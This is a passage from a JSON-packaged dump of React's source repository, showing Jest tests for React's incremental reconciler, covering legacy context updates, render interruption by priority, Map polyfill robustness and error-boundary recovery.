eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should reuse memoized work if pointers are updated before calling lifecycles', async () => {\n    const cduNextProps = [];\n    const cduPrevProps = [];\n    const scuNextProps = [];\n    const scuPrevProps = [];\n    let renderCounter = 0;\n\n    function SecondChild(props) {\n      return <span>{props.children}</span>;\n    }\n\n    class FirstChild extends React.Component {\n      componentDidUpdate(prevProps, prevState) {\n        cduNextProps.push(this.props);\n        cduPrevProps.push(prevProps);\n      }\n      shouldComponentUpdate(nextProps, nextState) {\n        scuNextProps.push(nextProps);\n        scuPrevProps.push(this.props);\n        return this.props.children !== nextProps.children;\n      }\n      render() {\n        renderCounter++;\n        return <span>{this.props.children}</span>;\n      }\n    }\n\n    class Middle extends React.Component {\n      render() {\n        return (\n          <div>\n            <FirstChild>{this.props.children}</FirstChild>\n            <SecondChild>{this.props.children}</SecondChild>\n          </div>\n        );\n      }\n    }\n\n    function Root(props) {\n      return (\n        <div hidden={true}>\n          <Middle {...props} />\n        </div>\n      );\n    }\n\n    // Initial render of the entire tree.\n    // Renders: Root, Middle, FirstChild, SecondChild\n    ReactNoop.render(<Root>A</Root>);\n    await waitForAll([]);\n\n    expect(renderCounter).toBe(1);\n\n    // Schedule low priority work to update children.\n    // Give it enough time to partially render.\n    // Renders: Root, Middle, FirstChild\n    ReactNoop.render(<Root>B</Root>);\n    ReactNoop.flushDeferredPri(20 + 30 + 5);\n\n    // At this point our FirstChild component has rendered a second time,\n    // But since the render is not completed cDU should not be called yet.\n    expect(renderCounter).toBe(2);\n    expect(scuPrevProps).toEqual([{children: 'A'}]);\n    expect(scuNextProps).toEqual([{children: 'B'}]);\n    expect(cduPrevProps).toEqual([]);\n    expect(cduNextProps).toEqual([]);\n\n    // Next interrupt the partial render with higher priority work.\n    // The in-progress child content will bailout.\n    // Renders: Root, Middle, FirstChild, SecondChild\n    ReactNoop.render(<Root>B</Root>);\n    await waitForAll([]);\n\n    // At this point the higher priority render has completed.\n    // Since FirstChild props didn't change, sCU returned false.\n    // The previous memoized copy should be used.\n    expect(renderCounter).toBe(2);\n    expect(scuPrevProps).toEqual([{children: 'A'}, {children: 'B'}]);\n    expect(scuNextProps).toEqual([{children: 'B'}, {children: 'B'}]);\n    expect(cduPrevProps).toEqual([{children: 'A'}]);\n    expect(cduNextProps).toEqual([{children: 'B'}]);\n  });\n\n  // @gate !disableLegacyContext\n  it('updates descendants with new context values', async () => {\n    let instance;\n\n    class TopContextProvider extends React.Component {\n      static childContextTypes = {\n        count: PropTypes.number,\n      };\n      constructor() {\n        super();\n        this.state = {count: 0};\n        instance = this;\n      }\n      getChildContext = () => ({\n        count: this.state.count,\n      });\n      render = () => this.props.children;\n      updateCount = () =>\n        this.setState(state => ({\n          count: state.count + 1,\n        }));\n    }\n\n    class Middle extends React.Component {\n      render = () => this.props.children;\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        count: PropTypes.number,\n      };\n      render = () => {\n        Scheduler.log(`count:${this.context.count}`);\n        return null;\n      };\n    }\n\n    ReactNoop.render(\n      <TopContextProvider>\n        <Middle>\n          <Child />\n        </Middle>\n      </TopContextProvider>,\n    );\n\n    await waitForAll(['count:0']);\n    assertConsoleErrorDev([\n      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in TopContextProvider (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Child (at **)',\n    ]);\n    instance.updateCount();\n    await waitForAll(['count:1']);\n  });\n\n  // @gate !disableLegacyContext\n  it('updates descendants with multiple context-providing ancestors with new context values', async () => {\n    let instance;\n\n    class TopContextProvider extends React.Component {\n      static childContextTypes = {\n        count: PropTypes.number,\n      };\n      constructor() {\n        super();\n        this.state = {count: 0};\n        instance = this;\n      }\n      getChildContext = () => ({\n        count: this.state.count,\n      });\n      render = () => this.props.children;\n      updateCount = () =>\n        this.setState(state => ({\n          count: state.count + 1,\n        }));\n    }\n\n    class MiddleContextProvider extends React.Component {\n      static childContextTypes = {\n        name: PropTypes.string,\n      };\n      getChildContext = () => ({\n        name: 'brian',\n      });\n      render = () => this.props.children;\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        count: PropTypes.number,\n      };\n      render = () => {\n        Scheduler.log(`count:${this.context.count}`);\n        return null;\n      };\n    }\n\n    ReactNoop.render(\n      <TopContextProvider>\n        <MiddleContextProvider>\n          <Child />\n        </MiddleContextProvider>\n      </TopContextProvider>,\n    );\n\n    await waitForAll(['count:0']);\n    assertConsoleErrorDev([\n      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in TopContextProvider (at **)',\n      'MiddleContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in MiddleContextProvider (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Child (at **)',\n    ]);\n    instance.updateCount();\n    await waitForAll(['count:1']);\n  });\n\n  // @gate !disableLegacyContext\n  it('should not update descendants with new context values if shouldComponentUpdate returns false', async () => {\n    let instance;\n\n    class TopContextProvider extends React.Component {\n      static childContextTypes = {\n        count: PropTypes.number,\n      };\n      constructor() {\n        super();\n        this.state = {count: 0};\n        instance = this;\n      }\n      getChildContext = () => ({\n        count: this.state.count,\n      });\n      render = () => this.props.children;\n      updateCount = () =>\n        this.setState(state => ({\n          count: state.count + 1,\n        }));\n    }\n\n    class MiddleScu extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render = () => this.props.children;\n    }\n\n    class MiddleContextProvider extends React.Component {\n      static childContextTypes = {\n        name: PropTypes.string,\n      };\n      getChildContext = () => ({\n        name: 'brian',\n      });\n      render = () => this.props.children;\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        count: PropTypes.number,\n      };\n      render = () => {\n        Scheduler.log(`count:${this.context.count}`);\n        return null;\n      };\n    }\n\n    ReactNoop.render(\n      <TopContextProvider>\n        <MiddleScu>\n          <MiddleContextProvider>\n            <Child />\n          </MiddleContextProvider>\n        </MiddleScu>\n      </TopContextProvider>,\n    );\n\n    await waitForAll(['count:0']);\n    assertConsoleErrorDev([\n      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in TopContextProvider (at **)',\n      'MiddleContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in MiddleContextProvider (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Child (at **)',\n    ]);\n    instance.updateCount();\n    await waitForAll([]);\n  });\n\n  // @gate !disableLegacyContext\n  it('should update descendants with new context values if setState() is called in the middle of the tree', async () => {\n    let middleInstance;\n    let topInstance;\n\n    class TopContextProvider extends React.Component {\n      static childContextTypes = {\n        count: PropTypes.number,\n      };\n      constructor() {\n        super();\n        this.state = {count: 0};\n        topInstance = this;\n      }\n      getChildContext = () => ({\n        count: this.state.count,\n      });\n      render = () => this.props.children;\n      updateCount = () =>\n        this.setState(state => ({\n          count: state.count + 1,\n        }));\n    }\n\n    class MiddleScu extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render = () => this.props.children;\n    }\n\n    class MiddleContextProvider extends React.Component {\n      static childContextTypes = {\n        name: PropTypes.string,\n      };\n      constructor() {\n        super();\n        this.state = {name: 'brian'};\n        middleInstance = this;\n      }\n      getChildContext = () => ({\n        name: this.state.name,\n      });\n      updateName = name => {\n        this.setState({name});\n      };\n      render = () => this.props.children;\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        count: PropTypes.number,\n        name: PropTypes.string,\n      };\n      render = () => {\n        Scheduler.log(`count:${this.context.count}, name:${this.context.name}`);\n        return null;\n      };\n    }\n\n    ReactNoop.render(\n      <TopContextProvider>\n        <MiddleScu>\n          <MiddleContextProvider>\n            <Child />\n          </MiddleContextProvider>\n        </MiddleScu>\n      </TopContextProvider>,\n    );\n\n    await waitForAll(['count:0, name:brian']);\n    assertConsoleErrorDev([\n      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in TopContextProvider (at **)',\n      'MiddleContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in MiddleContextProvider (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Child (at **)',\n    ]);\n    topInstance.updateCount();\n    await waitForAll([]);\n    middleInstance.updateName('not brian');\n    await waitForAll(['count:1, name:not brian']);\n  });\n\n  it('does not interrupt for update at same priority', async () => {\n    function Parent(props) {\n      Scheduler.log('Parent: ' + props.step);\n      return <Child step={props.step} />;\n    }\n\n    function Child(props) {\n      Scheduler.log('Child: ' + props.step);\n      return null;\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Parent step={1} />);\n    });\n    await waitFor(['Parent: 1']);\n\n    // Interrupt at same priority\n    ReactNoop.render(<Parent step={2} />);\n\n    await waitForAll(['Child: 1', 'Parent: 2', 'Child: 2']);\n  });\n\n  it('does not interrupt for update at lower priority', async () => {\n    function Parent(props) {\n      Scheduler.log('Parent: ' + props.step);\n      return <Child step={props.step} />;\n    }\n\n    function Child(props) {\n      Scheduler.log('Child: ' + props.step);\n      return null;\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Parent step={1} />);\n    });\n    await waitFor(['Parent: 1']);\n\n    // Interrupt at lower priority\n    ReactNoop.expire(2000);\n    ReactNoop.render(<Parent step={2} />);\n\n    await waitForAll(['Child: 1', 'Parent: 2', 'Child: 2']);\n  });\n\n  it('does interrupt for update at higher priority', async () => {\n    function Parent(props) {\n      Scheduler.log('Parent: ' + props.step);\n      return <Child step={props.step} />;\n    }\n\n    function Child(props) {\n      Scheduler.log('Child: ' + props.step);\n      return null;\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Parent step={1} />);\n    });\n    await waitFor(['Parent: 1']);\n\n    // Interrupt at higher priority\n    ReactNoop.flushSync(() => ReactNoop.render(<Parent step={2} />));\n    assertLog(['Parent: 2', 'Child: 2']);\n\n    await waitForAll([]);\n  });\n\n  // We sometimes use Maps with Fibers as keys.\n  // @gate !disableLegacyContext || !__DEV__\n  it('does not break with a bad Map polyfill', async () => {\n    const realMapSet = Map.prototype.set;\n\n    async function triggerCodePathThatUsesFibersAsMapKeys() {\n      function Thing() {\n        throw new Error('No.');\n      }\n      // This class uses legacy context, which triggers warnings,\n      // the procedures for which use a Map to store fibers.\n      class Boundary extends React.Component {\n        state = {didError: false};\n        componentDidCatch() {\n          this.setState({didError: true});\n        }\n        static contextTypes = {\n          color: () => null,\n        };\n        render() {\n          return this.state.didError ? null : <Thing />;\n        }\n      }\n      ReactNoop.render(\n        <React.StrictMode>\n          <Boundary />\n        </React.StrictMode>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Boundary uses the legacy contextTypes API which will soon be removed. ' +\n          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Boundary (at **)',\n        'Legacy context API has been detected within a strict-mode tree.\\n' +\n          '\\n' +\n          'The old API will be supported in all 16.x releases, but applications using it should migrate to the new version.\\n' +\n          '\\n' +\n          'Please update the following components: Boundary\\n' +\n          '\\n' +\n          'Learn more about this warning here: https://react.dev/link/legacy-context\\n' +\n          '    in Boundary (at **)',\n      ]);\n    }\n\n    // First, verify that this code path normally receives Fibers as keys,\n    // and that they're not extensible.\n    jest.resetModules();\n    let receivedNonExtensibleObjects;\n    // eslint-disable-next-line no-extend-native\n    Map.prototype.set = function (key) {\n      if (typeof key === 'object' && key !== null) {\n        if (!Object.isExtensible(key)) {\n          receivedNonExtensibleObjects = true;\n        }\n      }\n      return realMapSet.apply(this, arguments);\n    };\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    let InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForThrow = InternalTestUtils.waitForThrow;\n    assertLog = InternalTestUtils.assertLog;\n\n    try {\n      receivedNonExtensibleObjects = false;\n      await triggerCodePathThatUsesFibersAsMapKeys();\n    } finally {\n      // eslint-disable-next-line no-extend-native\n      Map.prototype.set = realMapSet;\n    }\n    // If this fails, find another code path in Fiber\n    // that passes Fibers as keys to Maps.\n    // Note that we only expect them to be non-extensible\n    // in development.\n    expect(receivedNonExtensibleObjects).toBe(__DEV__);\n\n    // Next, verify that a Map polyfill that \"writes\" to keys\n    // doesn't cause a failure.\n    jest.resetModules();\n    // eslint-disable-next-line no-extend-native\n    Map.prototype.set = function (key, value) {\n      if (typeof key === 'object' && key !== null) {\n        // A polyfill could do something like this.\n        // It would throw if an object is not extensible.\n        key.__internalValueSlot = value;\n      }\n      return realMapSet.apply(this, arguments);\n    };\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForThrow = InternalTestUtils.waitForThrow;\n    assertLog = InternalTestUtils.assertLog;\n\n    try {\n      await triggerCodePathThatUsesFibersAsMapKeys();\n    } finally {\n      // eslint-disable-next-line no-extend-native\n      Map.prototype.set = realMapSet;\n    }\n    // If we got this far, our feature detection worked.\n    // We knew that Map#set() throws for non-extensible objects,\n    // so we didn't set them as non-extensible for that reason.\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalErrorHandling-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet PropTypes;\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet assertLog;\nlet waitForAll;\nlet waitFor;\nlet waitForThrow;\nlet assertConsoleErrorDev;\n\ndescribe('ReactIncrementalErrorHandling', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    PropTypes = require('prop-types');\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForThrow = InternalTestUtils.waitForThrow;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n        return '\\n    in ' + name + ' (at **)';\n      })\n    );\n  }\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('recovers from errors asynchronously', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        Scheduler.log('getDerivedStateFromError');\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary (catch)');\n          return <ErrorMessage error={this.state.error} />;\n        }\n        Scheduler.log('ErrorBoundary (try)');\n        return this.props.children;\n      }\n    }\n\n    function ErrorMessage({error}) {\n      Scheduler.log('ErrorMessage');\n      return <span prop={`Caught an error: ${error.message}`} />;\n    }\n\n    function Indirection({children}) {\n      Scheduler.log('Indirection');\n      return children || null;\n    }\n\n    function BadRender({unused}) {\n      Scheduler.log('throw');\n      throw new Error('oops!');\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <>\n          <ErrorBoundary>\n            <Indirection>\n              <Indirection>\n                <Indirection>\n                  <BadRender />\n                </Indirection>\n              </Indirection>\n            </Indirection>\n          </ErrorBoundary>\n          <Indirection />\n          <Indirection />\n        </>,\n      );\n    });\n\n    // Start rendering asynchronously\n    await waitFor([\n      'ErrorBoundary (try)',\n      'Indirection',\n      'Indirection',\n      'Indirection',\n      // An error is thrown. React keeps rendering asynchronously.\n      'throw',\n\n      // Call getDerivedStateFromError and re-render the error boundary, this\n      // time rendering an error message.\n      'getDerivedStateFromError',\n      'ErrorBoundary (catch)',\n      'ErrorMessage',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // The work loop unwound to the nearest error boundary. Continue rendering\n    // asynchronously.\n    await waitFor(['Indirection']);\n\n    // Since the error was thrown during an async render, React won't commit the\n    // result yet. After render we render the last child, React will attempt to\n    // render again, synchronously, just in case that happens to fix the error\n    // (i.e. as in the case of a data race). Flush just one more unit of work to\n    // demonstrate that this render is synchronous.\n    expect(ReactNoop.flushNextYield()).toEqual([\n      'Indirection',\n\n      'ErrorBoundary (try)',\n      'Indirection',\n      'Indirection',\n      'Indirection',\n\n      // The error was thrown again. This time, React will actually commit\n      // the result.\n      'throw',\n      'getDerivedStateFromError',\n      'ErrorBoundary (catch)',\n      'ErrorMessage',\n      'Indirection',\n      'Indirection',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: oops!\" />,\n    );\n  });\n\n  it('recovers from errors asynchronously (legacy, no getDerivedStateFromError)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        Scheduler.log('componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary (catch)');\n          return <ErrorMessage error={this.state.error} />;\n        }\n        Scheduler.log('ErrorBoundary (try)');\n        return this.props.children;\n      }\n    }\n\n    function ErrorMessage({error}) {\n      Scheduler.log('ErrorMessage');\n      return <span prop={`Caught an error: ${error.message}`} />;\n    }\n\n    function Indirection({children}) {\n      Scheduler.log('Indirection');\n      return children || null;\n    }\n\n    function BadRender({unused}) {\n      Scheduler.log('throw');\n      throw new Error('oops!');\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <>\n          <ErrorBoundary>\n            <Indirection>\n              <Indirection>\n                <Indirection>\n                  <BadRender />\n                </Indirection>\n              </Indirection>\n            </Indirection>\n          </ErrorBoundary>\n          <Indirection />\n          <Indirection />\n        </>,\n      );\n    });\n\n    // Start rendering asynchronously\n    await waitFor([\n      'ErrorBoundary (try)',\n      'Indirection',\n      'Indirection',\n      'Indirection',\n      // An error is thrown. React keeps rendering asynchronously.\n      'throw',\n    ]);\n\n    // Still rendering async...\n    await waitFor(['Indirection']);\n\n    await waitFor([\n      'Indirection',\n      // Now that the tree is complete, and there's no remaining work, React\n      // reverts to legacy mode to retry one more time before handling the error.\n\n      'ErrorBoundary (try)',\n      'Indirection',\n      'Indirection',\n      'Indirection',\n\n      // The error was thrown again. Now we can handle it.\n      'throw',\n      'Indirection',\n      'Indirection',\n      'componentDidCatch',\n      'ErrorBoundary (catch)',\n      'ErrorMessage',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: oops!\" />,\n    );\n  });\n\n  it(\"retries at a lower priority if there's additional pending work\", async () => {\n    function App(props) {\n      if (props.isBroken) {\n        Scheduler.log('error');\n        throw new Error('Oops!');\n      }\n      Scheduler.log('success');\n      return <span prop=\"Everything is fine.\" />;\n    }\n\n    function onCommit() {\n      Scheduler.log('commit');\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<App isBroken={true} />, onCommit);\n    });\n    await waitFor(['error']);\n\n    React.startTransition(() => {\n      // This update is in a separate batch\n      ReactNoop.render(<App isBroken={false} />, onCommit);\n    });\n\n    // React will try to recover by rendering all the pending updates in a\n    // single batch, synchronously. This time it succeeds.\n    //\n    // This tells Scheduler to render a single unit of work. Because the render\n    // to recover from the error is synchronous, this should be enough to\n    // finish the rest of the work.\n    Scheduler.unstable_flushNumberOfYields(1);\n    assertLog([\n      'success',\n      // Nothing commits until the second update completes.\n      'commit',\n      'commit',\n    ]);\n    assertConsoleErrorDev([\n      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +\n        '\\n    in <stack>',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Everything is fine.\" />,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  it('does not include offscreen work when retrying after an error', async () => {\n    function App(props) {\n      if (props.isBroken) {\n        Scheduler.log('error');\n        throw new Error('Oops!');\n      }\n      Scheduler.log('success');\n      return (\n        <>\n          Everything is fine\n          <LegacyHiddenDiv mode=\"hidden\">\n            <div>Offscreen content</div>\n          </LegacyHiddenDiv>\n        </>\n      );\n    }\n\n    function onCommit() {\n      Scheduler.log('commit');\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<App isBroken={true} />, onCommit);\n    });\n    await waitFor(['error']);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    React.startTransition(() => {\n      // This update is in a separate batch\n      ReactNoop.render(<App isBroken={false} />, onCommit);\n    });\n\n    // React will try to recover by rendering all the pending updates in a\n    // single batch, synchronously. This time it succeeds.\n    //\n    // This tells Scheduler to render a single unit of work. Because the render\n    // to recover from the error is synchronous, this should be enough to\n    // finish the rest of the work.\n    Scheduler.unstable_flushNumberOfYields(1);\n    assertLog([\n      'success',\n      // Nothing commits until the second update completes.\n      'commit',\n      'commit',\n    ]);\n    assertConsoleErrorDev([\n      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +\n        '\\n    in <stack>',\n    ]);\n    // This should not include the offscreen content\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        Everything is fine\n        <div hidden={true} />\n      </>,\n    );\n\n    // The offscreen content finishes in a subsequent render\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        Everything is fine\n        <div hidden={true}>\n          <div>Offscreen content</div>\n        </div>\n      </>,\n    );\n  });\n\n  it('retries one more time before handling error', async () => {\n    function BadRender({unused}) {\n      Scheduler.log('BadRender');\n      throw new Error('oops');\n    }\n\n    function Sibling({unused}) {\n      Scheduler.log('Sibling');\n      return <span prop=\"Sibling\" />;\n    }\n\n    function Parent({unused}) {\n      Scheduler.log('Parent');\n      return (\n        <>\n          <BadRender />\n          <Sibling />\n        </>\n      );\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Parent />, () => Scheduler.log('commit'));\n    });\n\n    // Render the bad component asynchronously\n    await waitFor(['Parent', 'BadRender']);\n\n    // The work loop unwound to the nearest error boundary. React will try\n    // to render one more time, synchronously. Flush just one unit of work to\n    // demonstrate that this render is synchronous.\n    Scheduler.unstable_flushNumberOfYields(1);\n    assertLog(['Parent', 'BadRender', 'commit']);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('retries one more time if an error occurs during a render that expires midway through the tree', async () => {\n    function Oops({unused}) {\n      Scheduler.log('Oops');\n      throw new Error('Oops');\n    }\n\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    function App({unused}) {\n      return (\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <Oops />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </>\n      );\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<App />);\n    });\n\n    // Render part of the tree\n    await waitFor(['A', 'B']);\n\n    // Expire the render midway through\n    Scheduler.unstable_advanceTime(10000);\n\n    Scheduler.unstable_flushExpired();\n    ReactNoop.flushSync();\n\n    assertLog([\n      // The render expired, but we shouldn't throw out the partial work.\n      // Finish the current level.\n      'Oops',\n\n      // Since the error occurred during a partially concurrent render, we should\n      // retry one more time, synchronously.\n      'A',\n      'B',\n      'Oops',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('calls componentDidCatch multiple times for multiple errors', async () => {\n    let id = 0;\n    class BadMount extends React.Component {\n      componentDidMount() {\n        throw new Error(`Error ${++id}`);\n      }\n      render() {\n        Scheduler.log('BadMount');\n        return null;\n      }\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {errorCount: 0};\n      componentDidCatch(error) {\n        Scheduler.log(`componentDidCatch: ${error.message}`);\n        this.setState(state => ({errorCount: state.errorCount + 1}));\n      }\n      render() {\n        if (this.state.errorCount > 0) {\n          return <span prop={`Number of errors: ${this.state.errorCount}`} />;\n        }\n        Scheduler.log('ErrorBoundary');\n        return this.props.children;\n      }\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BadMount />\n        <BadMount />\n        <BadMount />\n      </ErrorBoundary>,\n    );\n\n    await waitForAll([\n      'ErrorBoundary',\n      'BadMount',\n      'BadMount',\n      'BadMount',\n      'componentDidCatch: Error 1',\n      'componentDidCatch: Error 2',\n      'componentDidCatch: Error 3',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Number of errors: 3\" />,\n    );\n  });\n\n  it('catches render error in a boundary during full deferred mounting', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return (\n            <span prop={`Caught an error: ${this.state.error.message}.`} />\n          );\n        }\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender(props) {\n      throw new Error('Hello');\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: Hello.\" />,\n    );\n  });\n\n  it('catches render error in a boundary during partial deferred mounting', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        Scheduler.log('ErrorBoundary componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary render error');\n          return (\n            <span prop={`Caught an error: ${this.state.error.message}.`} />\n          );\n        }\n        Scheduler.log('ErrorBoundary render success');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n\n    await waitFor(['ErrorBoundary render success']);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await waitForAll([\n      'BrokenRender',\n      // React retries one more time\n      'ErrorBoundary render success',\n\n      // Errored again on retry. Now handle it.\n      'BrokenRender',\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary render error',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: Hello.\" />,\n    );\n  });\n\n  it('catches render error in a boundary during synchronous mounting', () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        Scheduler.log('ErrorBoundary componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary render error');\n          return (\n            <span prop={`Caught an error: ${this.state.error.message}.`} />\n          );\n        }\n        Scheduler.log('ErrorBoundary render success');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n\n    assertLog([\n      'ErrorBoundary render success',\n      'BrokenRender',\n\n      // React retries one more time\n      'ErrorBoundary render success',\n      'BrokenRender',\n\n      // Errored again on retry. Now handle it.\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary render error',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: Hello.\" />,\n    );\n  });\n\n  it('catches render error in a boundary during batched mounting', () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        Scheduler.log('ErrorBoundary componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary render error');\n          return (\n            <span prop={`Caught an error: ${this.state.error.message}.`} />\n          );\n        }\n        Scheduler.log('ErrorBoundary render success');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<ErrorBoundary>Before the storm.</ErrorBoundary>);\n      ReactNoop.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n\n    assertLog([\n      'ErrorBoundary render success',\n      'BrokenRender',\n\n      // React retries one more time\n      'ErrorBoundary render success',\n      'BrokenRender',\n\n      // Errored again on retry. Now handle it.\n      